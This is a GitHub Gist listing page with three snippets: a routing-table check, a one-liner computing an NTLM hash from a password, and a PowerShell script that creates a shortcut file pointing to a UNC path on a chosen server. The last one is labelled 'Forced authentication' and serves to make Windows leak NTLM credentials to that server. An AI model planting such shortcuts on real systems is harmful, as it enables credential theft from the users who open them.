Skip to content

Instantly share code, notes, and snippets.

@t0-n1
t0-n1 / symmetricRouting.sh
Last active May 10, 2022 13:10
Traffic arriving at one interface returns using the same interface
# Check configuration
ip rule list | while read line; do
echo "$line"
table=`echo "$line" | awk '{print $NF}'`
ip route list tab $table 2> /dev/null | sed 's/^/\t/'
echo
done
@t0-n1
t0-n1 / passwordToNTLM.sh
Created November 2, 2021 11:55
Get NTLM hash from password
password='Passw0rd!'
echo -n $password | iconv -f ascii -t utf-16le | openssl dgst -md4
@t0-n1
t0-n1 / createLnk.ps
Created October 28, 2021 11:12
Forced authentication - LNK
$server = "192.168.1.1"
$filename = "c:\windows\temp\callback.lnk"
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut($filename)
$lnk.TargetPath = "\\$server\x"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = ""
$lnk.Save()